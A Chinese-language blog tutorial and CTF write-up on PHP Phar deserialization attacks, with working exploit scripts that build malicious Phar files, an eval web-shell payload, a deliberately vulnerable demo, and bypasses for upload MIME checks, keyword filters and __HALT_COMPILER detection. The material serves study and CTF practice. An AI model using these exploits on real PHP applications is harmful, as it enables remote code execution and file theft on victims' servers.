Phar 反序列化学习
Drunkbaby Lv6

Phar 反序列化简单学习

PHP 反序列化

0x01 关于 Phar

Phar 含义

Phar 本质上还是一种压缩包,但它是 PHP 的压缩文档,类似于 jar 包在 Java 里面差不多的样子。它可以把多个文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。

默认开启版本 PHP Version >= 5.3

Phar 文件结构

  • 在说文件结构之前,我们可以先通过这个脚本生成一个 .phar 文件

ProducePhar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $name="qwq";
function __destruct()
{
echo $this->name . " is a web vegetable dog ";
}
}
$a = new test();
$a->name="drunkbaby";
$tttang=new phar('drunkbaby.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt"," ");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

Phar 文件结构大致可分为四个部分

1
2
3
4
1、Stub//Phar文件头
2、manifest//压缩文件信息
3、contents//压缩文件内容
4、signature//签名

下面细说一些

stub

Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头,这个 Stub 其实就是一个简单的 PHP 文件,它的格式具有一定的要求,具体如下

1
xxx<?php xxx; __HALT_COMPILER();?>

这行代码的含义,也就是说前面的内容是不限制的,但在该 PHP 语句中,必须有__HALT_COMPILER(),没有这个,PHP 就无法识别出它是 Phar 文件。
这个其实就类似于图片文件头,比如 gif 文件没有 GIF89A 文件头就无法正确的解析图片,010 Editor 里面的 phar 文件头如图

manifest

a manifest describing the contents,用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data

在我们上面生成的 phar 文件中,manifest 的内容如图

contents

用于存放 Phar 文件的内容

Signature

[optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,具体格式如下

从官方文档中不难看出,签证尾部的 01 代表 md5 加密,02 代表 sha1 加密,04 代表 sha256 加密,08 代表 sha512 加密

当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('test.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

0x02 Phar 反序列化漏洞

漏洞成因

Phar 反序列化之所以存在,是因为 Phar 文件中的 manifest 字段存储了序列化的数据,这其实就是用户的 mete-data,PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。具体解析代码如下

php-src/ext/phar/phar.c

那么该如何触发反序列化呢,一般是配合 Phar 伪协议,伪协议使用较多的是一些文件操作函数,只有这些函数能进行反序列化操作,单纯的 phar:// 的伪协议并不能触发反序列化,如 fopen()copy()file_exists() 等,具体如下图

通过两个小 demo 来证明一下 file_get_contents() 可用:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $name="";
public function __destruct()
{
echo('the name is ');
echo ($this->name);
echo '<br>';
echo ' Destruct called';
}
}
$tttang = file_get_contents('phar://drunkbaby.phar/test.txt');
echo $tttang;

成功触发,同样可以试一试其他的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
public $name="";
public function __destruct()
{
echo('the name is ');
echo ($this->name);
echo '<br>';
echo ' Destruct called';
}
}
$drunkbaby = file_exists('phar://drunkbaby.phar/test.txt');
echo $drunkbaby;

这里会打印出的数据有之前在 test.txt 中写入的内容 空格,以及该打印出的 $this->name 的内容 —— drunkbaby

所以此处我们可以用一种别样的方式来触发反序列化,回想一下之前 PHP 反序列化的时候,是需要一个 unserialize() 反序列化的入口类的,但是在 Phar 反序列化当中,这一过程更为隐蔽。

接下来我们简单总结一下利用条件

利用条件

1)需要入口,也就是上面能够对 phar 文件进行反序列化的地方。

2)存在可利用的魔术方法,用魔术方法作为跳板,这其实也就是 POP 链的思想。

3)文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

简单 Demo

VulDemo1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_GET['filename'])){
$filename = $_GET['filename'];
class MyClass {
var $output = 'echo "lol"';
function __destruct()
{
eval($this->output);
}
file_exists($filename);
}
}
else {
highlight_file(__FILE__);
}

这道 Demo 就是完美满足我们 phar 反序列化攻击的需求,首先存在入口函数 —— file_exists(),其次存在能够利用的魔术方法,魔术方法这里其实写了一个命令执行。并且毫无过滤。

所以我们直接构造恶意的 phar 文件,EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
var $output = '@eval($_GET[1]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

正常情况下应该是会给我们提供文件上传的功能点,这里我没有写,但是可以直接利用,payload 为

1
?filename=phar://poc.phar&1=phpinfo();

0x03 Phar 反序列化 Bypass 的攻防二相性

对 Phar 内文件检测白名单

我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种

1
$_FILES["file"]["type"]=="image/gif"

这里的 bypass 比较简单,核心语句是这个

1
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

这和上面例题所说的 exp 是一样的

绕过 Phar 等关键字检测

Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下

1
2
3
if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){
die();
}

我们的办法是使用各种协议来进行绕过,具体如下

1
2
3
4
5
6
1、php://filter/read=convert.base64-encode/resource=phar://test.phar
//即使用filter伪协议来进行绕过
2、compress.bzip2://phar:///test.phar/test.txt
//使用bzip2协议来进行绕过
3、compress.zlib://phar:///home/sx/test.phar/test.txt
//使用zlib协议进行绕过

绕过 __HALT_COMPILER 检测

我们在前文初识Phar时就提到过,PHP 通过 __HALT_COMPILER来识别 Phar 文件,那么出于安全考虑,即为了防止 Phar 反序列化的出现,可能就会对这个进行过滤,示例代码如下

1
2
3
if (preg_match("/HALT_COMPILER/i",$Phar){
die();
}

这里的话绕过思路有两个
1、将 Phar 文件的内容写到压缩包注释中,压缩为 zip 文件,示例代码如下

1
2
3
4
5
6
7
8
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>

2、将生成的Phar文件进行gzip压缩,压缩命令如下

1
gzip test.phar

压缩后同样也可以进行反序列化

0x04 实战例题

[CISCN2019 华北赛区 Day1 Web1]Dropbox

  • 首先通过正常的登录注册业务进到正常的逻辑当中去,发现有个文件上传的业务点。

上传 shell.jpeg 可以上传成功,并且存在下载与删除的业务

但是目前无法确定 shell.jpeg 的路径保存在何处,所以我们先看看下载的业务,这里是存在任意文件读取的漏洞的,如图

猜测路径 filename=/../var/www/html/upload.php 这里读取到了文件上传的源码,同样,下载和删除应该也有源码,读一下,且包含了 class.php,都逐一读取一遍。

但是这里 $_SESSION['sandbox'] 不知道是什么,所以并不是一道单纯的文件上传的题目。

在读取 class.php 的时候,发现最后 close() 函数调用了 file_get_contents() 函数,这个函数我们之前提过,很有可能是一个 Phar 反序列化的题目。且题目并没有过滤 phar 后缀的文件,修改 MIME 绕过即可

所以这里我们需要先找链子,危险函数是 class.php#close(),发现是 download.php#echo $file->close(); 调用了它,所以下载处应该是对应的漏洞入口。

  • 接下来就是构造 EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class File{
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
$a = new File();
$a->filename="/f*";
$tttang=new phar('drunkbaby.phar',0);//后缀名必须为phar
$tttang->startBuffering();//开始缓冲 Phar 写操作
$tttang->setMetadata($a);//自定义的meta-data存入manifest
$tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$tttang->addFromString("test.txt"," ");//添加要压缩的文件
$tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

但是我用这个打失败了,并且发现 download 这个包抓不到,所以应该是要换思路了。

发现 delete.php User 类的 __destruct() 魔术方法也同样调用了 close() 方法,和 Java 反射的思想差不多,这里把 $db 修改成 File 类即可攻击,构造 EXP,中间需要用 FileList 这个类来过渡,因为这里需要最后输出结果用,只是用 File 类的话是没办法把 flag 在前端打印出来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class User {
public $db;
public function __construct() {
$this->db = new Filelist();
}
}
class FileList{
private $files;
public function __construct(){
$this -> files = array(new File());
}
}
class File {
public $filename = '/flag.txt';
}
$a = new User();
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
rename('poc.phar','poc.gif');
?>

然后 delete 的功能点直接利用

[NSSRound#4 SWPU]1zweb

  • 不太舒服,因为要自己编辑 PHP 文件,先读取文件

最后整理出来的源码如下

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#index.php
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#upload.php
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}

大致就是,要检查后缀并检查内容,且会检查 phar 文件的内容,这一步其实很容易 bypass,通过前面讲的,gzip 压缩就好。

接着分析题目,先写 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="Misc";
$this->dky="Re";
$this->cmd="system('cat /flag');";
}
}
$phar = new Phar('poc.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$a = new LoveNss();
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

这里很明显要 bypass __wakeup() 魔术方法,但是如果只是修改内容是不行的,还需要修改签名,这就是前面说的内容。

总的来说就是以下四步

1
2
3
4
1、更改属性值来绕过 __wakeup 函数
2、更改签名
2、进行 gzip 压缩来绕过关键字检测
4、更改文件后缀

sign.py

1
2
3
4
5
6
7
8
9
10
11
12
import gzip
from hashlib import sha1
with open('poc.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('newPoc.png', 'wb') as file:#更改文件后缀
file.write(newf)

构造完毕之后,上传并攻击

0x05 小结

总体感受下来 phar 的攻击面还是有点窄,不太好打

0x06 Ref

https://quan9i.github.io/post/PHP%20Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%85%E6%9E%90/

 评论